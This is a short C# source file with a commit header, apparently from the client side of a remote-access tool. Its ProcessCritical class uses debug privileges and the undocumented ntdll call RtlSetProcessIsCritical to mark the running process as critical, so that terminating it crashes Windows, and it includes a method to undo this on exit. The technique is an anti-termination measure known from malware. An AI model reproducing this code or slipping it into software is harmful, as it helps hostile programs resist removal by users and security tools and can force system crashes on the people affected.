NYAN CAT 1846a77b5a Update
-Added process critical - thanks to MrDevBot
-Add a method to handle client's exit
-Minor bugs fixed
2019-05-20 18:34:33 +03:00

33 lines
749 B
C#

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Client.Helper
{
public static class ProcessCritical
{
public static void Set()
{
try
{
Process.EnterDebugMode();
RtlSetProcessIsCritical(1, 0, 0);
}
catch { }
}
public static void Exit()
{
try
{
RtlSetProcessIsCritical(0, 0, 0);
}
catch { }
}
#region "Native Methods"
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
#endregion
}
}